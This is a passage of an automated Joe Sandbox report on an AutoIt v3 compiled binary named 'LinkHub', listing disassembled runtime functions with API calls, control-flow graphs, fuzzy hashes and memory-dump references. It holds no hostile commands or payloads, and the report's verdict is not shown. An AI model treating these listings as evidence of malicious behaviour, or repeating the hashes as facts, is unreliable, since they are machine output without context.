                                                                            • CloseHandle.KERNEL32(?), ref: 00E10C7F
                                                                            • GetLastError.KERNEL32 ref: 00E10CB1
                                                                            • __dosmaperr.LIBCMT ref: 00E10CB8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                            • String ID: H
                                                                            • API String ID: 4237864984-2852464175
                                                                            • Opcode ID: a6449cccf21d3293638851a704897474888d4dc13402259aba39eb4bee2748e3
                                                                            • Instruction ID: 7bf38b710a4fa291020bd9a908ab0e97762e8d733363563f97fe5654053b6187
                                                                            • Opcode Fuzzy Hash: a6449cccf21d3293638851a704897474888d4dc13402259aba39eb4bee2748e3
                                                                            • Instruction Fuzzy Hash: A6A10132A041588FDF19AF68D852BEE7BA0EF0A324F141159F811FB3D1DB719986CB61
                                                                            Function 00DD52A7 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                              • Part of subcall function 00DD5594: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00E14B76,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00DD55B2
                                                                              • Part of subcall function 00DD5238: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00DD525A
                                                                            • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00DD53C4
                                                                            • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00E14BFD
                                                                            • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00E14C3E
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00E14C80
                                                                            • _wcslen.LIBCMT ref: 00E14CE7
                                                                            • _wcslen.LIBCMT ref: 00E14CF6
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                                                            • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                                            • API String ID: 98802146-2727554177
                                                                            • Opcode ID: f45c32b96de405b906f012a31306f51ebc0bc653ba9a463871036ddfef426d85
                                                                            • Instruction ID: f7fc6a76f03bf71b86c43bfe70229a66a92be3b546733736ac01244c081c3d66
                                                                            • Opcode Fuzzy Hash: f45c32b96de405b906f012a31306f51ebc0bc653ba9a463871036ddfef426d85
                                                                            • Instruction Fuzzy Hash: 7D7180715083059EC700EF66EC419ABBBE8FF99340F80542EF555A72A0DB71EA4CCBA1
                                                                            Function 00DD34D3 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00DD34DE
                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00DD34ED
                                                                            • LoadIconW.USER32(00000063), ref: 00DD3503
                                                                            • LoadIconW.USER32(000000A4), ref: 00DD3515
                                                                            • LoadIconW.USER32(000000A2), ref: 00DD3527
                                                                            • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00DD353F
                                                                            • RegisterClassExW.USER32(?), ref: 00DD3590
                                                                              • Part of subcall function 00DD3624: GetSysColorBrush.USER32(0000000F), ref: 00DD3657
                                                                              • Part of subcall function 00DD3624: RegisterClassExW.USER32(00000030), ref: 00DD3681
                                                                              • Part of subcall function 00DD3624: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00DD3692
                                                                              • Part of subcall function 00DD3624: InitCommonControlsEx.COMCTL32(?), ref: 00DD36AF
                                                                              • Part of subcall function 00DD3624: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00DD36BF
                                                                              • Part of subcall function 00DD3624: LoadIconW.USER32(000000A9), ref: 00DD36D5
                                                                              • Part of subcall function 00DD3624: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00DD36E4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                            • String ID: #$0$AutoIt v3
                                                                            • API String ID: 423443420-4155596026
                                                                            • Opcode ID: 9523c0320ce0edf116bfbed63cbc22cd517fa47605be2b1de8548d8df84eb3d9
                                                                            • Instruction ID: b62e41a0d8123fb6182f97ce259b249fc39057633ddefb46ab8de95d478da006
                                                                            • Opcode Fuzzy Hash: 9523c0320ce0edf116bfbed63cbc22cd517fa47605be2b1de8548d8df84eb3d9
                                                                            • Instruction Fuzzy Hash: 95211970E00355AFDB109FAAEC45A9A7BF4EB0E750F00001EE604B62A0D3B9654C8F90
                                                                            Function 00DDF6D0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: Variable must be of type 'Object'.$t5$t5$t5$t5$t5
                                                                            • API String ID: 0-3061639177
                                                                            • Opcode ID: fc41fc13b332c2bc57b15e9b326a7784bd9d2d0df960326f472dd49ed38f2793
                                                                            • Instruction ID: 7b8c7e0ec58ec12cfe83aadf4100eb79356a057f5c9abc424c01fdfd34c0f42d
                                                                            • Opcode Fuzzy Hash: fc41fc13b332c2bc57b15e9b326a7784bd9d2d0df960326f472dd49ed38f2793
                                                                            • Instruction Fuzzy Hash: 87C27B75A00215DFCB24CFA8D880AADB7F1FF09314F29816AE956AB391D371ED45CB60
                                                                            Function 00DD2AB0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1063 dd2ab0-dd2ae9 1064 dd2aef-dd2b05 mciSendStringW 1063->1064 1065 e13a1a-e13a1b DestroyWindow 1063->1065 1066 dd2b0b-dd2b13 1064->1066 1067 dd2d66-dd2d73 1064->1067 1068 e13a26-e13a33 1065->1068 1066->1068 1069 dd2b19-dd2b28 call dd2ede 1066->1069 1070 dd2d98-dd2d9f 1067->1070 1071 dd2d75-dd2d90 UnregisterHotKey 1067->1071 1074 e13a62-e13a69 1068->1074 1075 e13a35-e13a38 1068->1075 1083 e13a70-e13a7c 1069->1083 1084 dd2b2e-dd2b36 1069->1084 1070->1066 1073 dd2da5 1070->1073 1071->1070 1072 dd2d92-dd2d93 call dd2770 1071->1072 1072->1070 1073->1067 1074->1068 1078 e13a6b 1074->1078 1079 e13a44-e13a47 FindClose 1075->1079 1080 e13a3a-e13a42 call dd7aab 1075->1080 1078->1083 1082 e13a4d-e13a5a 1079->1082 1080->1082 1082->1074 1086 e13a5c-e13a5d call e43cf6 1082->1086 1089 e13a86-e13a8d 1083->1089 1090 e13a7e-e13a80 FreeLibrary 1083->1090 1087 dd2b3c-dd2b61 call dde6a0 1084->1087 1088 e13a94-e13aa1 1084->1088 1086->1074 1100 dd2b98-dd2ba3 CoUninitialize 1087->1100 1101 dd2b63 1087->1101 1095 e13aa3-e13ac0 VirtualFree 1088->1095 1096 e13ac8-e13acf 1088->1096 1089->1083 1094 e13a8f 1089->1094 1090->1089 1094->1088 1095->1096 1099 e13ac2-e13ac3 call e43d5c 1095->1099 1096->1088 1097 e13ad1 1096->1097 1103 e13ad6-e13ada 1097->1103 1099->1096 1100->1103 1105 dd2ba9-dd2bae 1100->1105 1104 dd2b66-dd2b96 call dd30c0 call dd3069 1101->1104 1103->1105 1106 e13ae0-e13ae4 call e40b4c 1103->1106 1104->1100 1108 dd2bb4-dd2bbe 1105->1108 1109 e13aeb-e13af8 call e43d30 1105->1109 1114 e13ae6 1106->1114 1112 dd2bc4-dd2c45 call ddbd98 call dd2ff4 call dd2e85 call df0184 call dd2e1c call ddbd98 call dde6a0 call dd2eae call df0184 1108->1112 1113 dd2da7-dd2db4 call defb19 1108->1113 1121 e13afa 1109->1121 1126 e13aff-e13b21 call df013d 1112->1126 1152 dd2c4b-dd2c6f call df0184 1112->1152 1113->1112 1124 dd2dba 1113->1124 1114->1105 1121->1126 1124->1113 1132 e13b23 1126->1132 1134 e13b28-e13b4a call df013d 1132->1134 1140 e13b4c 1134->1140 1143 e13b51-e13b73 call df013d 1140->1143 1149 e13b75 1143->1149 1153 e13b7a-e13b87 call e36e3b 1149->1153 1152->1134 1158 dd2c75-dd2c99 call df0184 1152->1158 1159 e13b89 1153->1159 1158->1143 1164 dd2c9f-dd2cb9 call df0184 1158->1164 1162 e13b8e-e13b9b call debdf0 1159->1162 1167 e13b9d 1162->1167 1164->1153 1169 dd2cbf-dd2ce3 call dd2e85 call df0184 1164->1169 1170 e13ba2-e13baf call e43c8a 1167->1170 1169->1162 1178 dd2ce9-dd2cf1 1169->1178 1176 e13bb1 1170->1176 1179 e13bb6-e13bc3 call e43d11 1176->1179 1178->1170 1180 dd2cf7-dd2d15 call ddbd98 call dd2fba 1178->1180 1186 e13bc5 1179->1186 1180->1179 1188 dd2d1b-dd2d29 1180->1188 1189 e13bca-e13bd7 call e43d11 1186->1189 1188->1189 1190 dd2d2f-dd2d65 call ddbd98 * 3 call dd2f26 1188->1190 1194 e13bd9 1189->1194 1194->1194
                                                                            APIs
                                                                            • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00DD2AF9
                                                                            • CoUninitialize.COMBASE ref: 00DD2B98
                                                                            • UnregisterHotKey.USER32(?), ref: 00DD2D7D
                                                                            • DestroyWindow.USER32(?), ref: 00E13A1B
                                                                            • FreeLibrary.KERNEL32(?), ref: 00E13A80
                                                                            • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E13AAD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                            • String ID: close all
                                                                            • API String ID: 469580280-3243417748
                                                                            • Opcode ID: 0624566b26ae5a71e3134a0c5ebc140382d5a6cf5db7e472e6ca60febb2b1f15
                                                                            • Instruction ID: e6d73109863cbdddac360554eaf33786d41181135f07603268318fa14a98b1d0
                                                                            • Opcode Fuzzy Hash: 0624566b26ae5a71e3134a0c5ebc140382d5a6cf5db7e472e6ca60febb2b1f15
                                                                            • Instruction Fuzzy Hash: 55D16B31705212CFCB29EF25C885A69F7A0EF14754F1152AEE54ABB362CB70AD52CF60
                                                                            Function 00DD2793 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 153comCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00DD32AF
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(00000010,00000000), ref: 00DD32B7
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00DD32C2
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00DD32CD
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(00000011,00000000), ref: 00DD32D5
                                                                              • Part of subcall function 00DD327E: MapVirtualKeyW.USER32(00000012,00000000), ref: 00DD32DD
                                                                              • Part of subcall function 00DD3205: RegisterWindowMessageW.USER32(00000004,?,00DD2964), ref: 00DD325D
                                                                            • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00DD2A0A
                                                                            • OleInitialize.OLE32 ref: 00DD2A28
                                                                            • CloseHandle.KERNELBASE(00000000,00000000), ref: 00E13A0D
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                            • String ID: (&$0$$4'$d($$
                                                                            • API String ID: 1986988660-3144845333
                                                                            • Opcode ID: 3e71978f83b131a4fddf45152a09874607ef3bca00352fe9808e75bab20c71cf
                                                                            • Instruction ID: 2b04677cdf10d496e7666582bf0426bf1e794d700b213106512db9b727adbf84
                                                                            • Opcode Fuzzy Hash: 3e71978f83b131a4fddf45152a09874607ef3bca00352fe9808e75bab20c71cf
                                                                            • Instruction Fuzzy Hash: 8E71AEB0D052008F8788EF7FAC666153AE0FB9E344350912EE618FB361EB7465498F66
                                                                            Function 00E090C5 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1246 e090c5-e090d5 1247 e090d7-e090ea call dff636 call dff649 1246->1247 1248 e090ef-e090f1 1246->1248 1265 e09471 1247->1265 1250 e090f7-e090fd 1248->1250 1251 e09459-e09466 call dff636 call dff649 1248->1251 1250->1251 1252 e09103-e0912e 1250->1252 1267 e0946c call e02b5c 1251->1267 1252->1251 1255 e09134-e0913d 1252->1255 1258 e09157-e09159 1255->1258 1259 e0913f-e09152 call dff636 call dff649 1255->1259 1263 e09455-e09457 1258->1263 1264 e0915f-e09163 1258->1264 1259->1267 1268 e09474-e09479 1263->1268 1264->1263 1270 e09169-e0916d 1264->1270 1265->1268 1267->1265 1270->1259 1273 e0916f-e09186 1270->1273 1275 e091a3-e091ac 1273->1275 1276 e09188-e0918b 1273->1276 1279 e091ca-e091d4 1275->1279 1280 e091ae-e091c5 call dff636 call dff649 call e02b5c 1275->1280 1277 e09195-e0919e 1276->1277 1278 e0918d-e09193 1276->1278 1284 e0923f-e09259 1277->1284 1278->1277 1278->1280 1282 e091d6-e091d8 1279->1282 1283 e091db-e091f9 call e03b93 call e02d38 * 2 1279->1283 1309 e0938c 1280->1309 1282->1283 1319 e09216-e0923c call e097a4 1283->1319 1320 e091fb-e09211 call dff649 call dff636 1283->1320 1286 e0932d-e09336 call e0fc1b 1284->1286 1287 e0925f-e0926f 1284->1287 1298 e09338-e0934a 1286->1298 1299 e093a9 1286->1299 1287->1286 1291 e09275-e09277 1287->1291 1291->1286 1295 e0927d-e092a3 1291->1295 1295->1286 1300 e092a9-e092bc 1295->1300 1298->1299 1304 e0934c-e0935b GetConsoleMode 1298->1304 1302 e093ad-e093c5 ReadFile 1299->1302 1300->1286 1305 e092be-e092c0 1300->1305 1307 e09421-e0942c GetLastError 1302->1307 1308 e093c7-e093cd 1302->1308 1304->1299 1310 e0935d-e09361 1304->1310 1305->1286 1311 e092c2-e092ed 1305->1311 1313 e09445-e09448 1307->1313 1314 e0942e-e09440 call dff649 call dff636 1307->1314 1308->1307 1315 e093cf 1308->1315 1317 e0938f-e09399 call e02d38 1309->1317 1310->1302 1316 e09363-e0937d ReadConsoleW 1310->1316 1311->1286 1318 e092ef-e09302 1311->1318 1327 e09385-e0938b call dff613 1313->1327 1328 e0944e-e09450 1313->1328 1314->1309 1323 e093d2-e093e4 1315->1323 1325 e0939e-e093a7 1316->1325 1326 e0937f GetLastError 1316->1326 1317->1268 1318->1286 1330 e09304-e09306 1318->1330 1319->1284 1320->1309 1323->1317 1334 e093e6-e093ea 1323->1334 1325->1323 1326->1327 1327->1309 1328->1317 1330->1286 1331 e09308-e09328 1330->1331 1331->1286 1340 e09403-e0940e 1334->1340 1341 e093ec-e093fc call e08de1 1334->1341 1346 e09410 call e08f31 1340->1346 1347 e0941a-e0941f call e08c21 1340->1347 1352 e093ff-e09401 1341->1352 1353 e09415-e09418 1346->1353 1347->1353 1352->1317 1353->1352
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a68a6112c58a49fbbc9d2d31e41edb05d640f1d692751e8c77f45323c107bed0
                                                                            • Instruction ID: c1cbf1b6ec2e2a0ae2105e177b6884d0c5ea91a852a07bc025330fb73e73ff3d
                                                                            • Opcode Fuzzy Hash: a68a6112c58a49fbbc9d2d31e41edb05d640f1d692751e8c77f45323c107bed0
                                                                            • Instruction Fuzzy Hash: 61C1E174A04249AFDF11DFA9D881BADBBB0AF1A304F045199E564BB3D3C7349982CF61
                                                                            Function 00DD35B3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1354 dd35b3-dd3623 CreateWindowExW * 2 ShowWindow * 2
                                                                            APIs
                                                                            • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00DD35E1
                                                                            • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00DD3602
                                                                            • ShowWindow.USER32(00000000,?,?,?,?,?,?,00DD3368,?), ref: 00DD3616
                                                                            • ShowWindow.USER32(00000000,?,?,?,?,?,?,00DD3368,?), ref: 00DD361F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$CreateShow
                                                                            • String ID: AutoIt v3$edit
                                                                            • API String ID: 1584632944-3779509399
                                                                            • Opcode ID: 0dd1cfab46f0aaa177e005ca52a047001fc8ee2349be2983847c54c458648517
                                                                            • Instruction ID: f09bd4bef9ffb8e6b1af8da3ad331d7e715aba0367aa1ba13a652550808cdf9d
                                                                            • Opcode Fuzzy Hash: 0dd1cfab46f0aaa177e005ca52a047001fc8ee2349be2983847c54c458648517
                                                                            • Instruction Fuzzy Hash: 25F0D071A442957EEB31571B7C09E3B2E7DD7CBF50F00001EBA04B7160D5A5285DDA70
                                                                            Function 00E41196 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 1355 e41196-e411bf InterlockedExchange 1356 e411c1-e411c2 call df017b 1355->1356 1357 e411cd-e411f6 call df017b ReadFile 1355->1357 1360 e411c7-e411c8 1356->1360 1362 e411fc-e41200 1357->1362 1363 e412ae-e412b2 1357->1363 1360->1357 1364 e41206-e4121b EnterCriticalSection 1362->1364 1365 e412a8-e412ab 1362->1365 1366 e412b4-e412c0 call df0184 1363->1366 1367 e412c1-e412d0 InterlockedExchange 1363->1367 1369 e4121d-e4122c 1364->1369 1370 e41269-e412a2 call df1190 LeaveCriticalSection ReadFile 1364->1370 1365->1363 1366->1367 1371 e41234-e41266 call e12430 call df017b call df1190 call df0184 1369->1371 1372 e4122e 1369->1372 1370->1362 1370->1365 1371->1370 1372->1371
                                                                            APIs
                                                                            • InterlockedExchange.KERNEL32(?,000001F5), ref: 00E411B3
                                                                            • ReadFile.KERNELBASE(?,?,0000FFFF,?,00000000), ref: 00E411EE
                                                                            • EnterCriticalSection.KERNEL32(?), ref: 00E4120A
                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 00E41283
                                                                            • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00E4129A
                                                                            • InterlockedExchange.KERNEL32(?,000001F6), ref: 00E412C8
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                                                            • String ID:
                                                                            • API String ID: 3368777196-0
                                                                            • Opcode ID: c3915eb1a094206a36f637a4e7e54b06171eb60cd69b3b4cd72a0bb0e3d83d92
                                                                            • Instruction ID: a9b4d2f524a68f534bb71f0909545e52b70c8de71d85eb11f13f1444f52b768c
                                                                            • Opcode Fuzzy Hash: c3915eb1a094206a36f637a4e7e54b06171eb60cd69b3b4cd72a0bb0e3d83d92
                                                                            • Instruction Fuzzy Hash: 32416F71A00204EFDF049F55EC85AAA77B8FF44314F1580A5EE00EB2A6DB70DE65DBA4
                                                                            Function 00DD61A9 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 122windowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                            • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00E15287
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00DD6299
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: IconLoadNotifyShell_String_wcslen
                                                                            • String ID: Line %d: $AutoIt - $\+
                                                                            • API String ID: 2289894680-1638154863
                                                                            • Opcode ID: 4583df936cfcebc27f99852c2207da061f2d91e1a0277f3ab3b3fa36c501d1a6
                                                                            • Instruction ID: 914e88c5426811314b82a023c4538fc9689d0a56a84705f6e469cee5bae3b92f
                                                                            • Opcode Fuzzy Hash: 4583df936cfcebc27f99852c2207da061f2d91e1a0277f3ab3b3fa36c501d1a6
                                                                            • Instruction Fuzzy Hash: 7441A471408305AEC710EB64DC45ADF7BE8EF59320F00451FF599A21A1EB70E649C7B6
                                                                            Function 00E08A2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
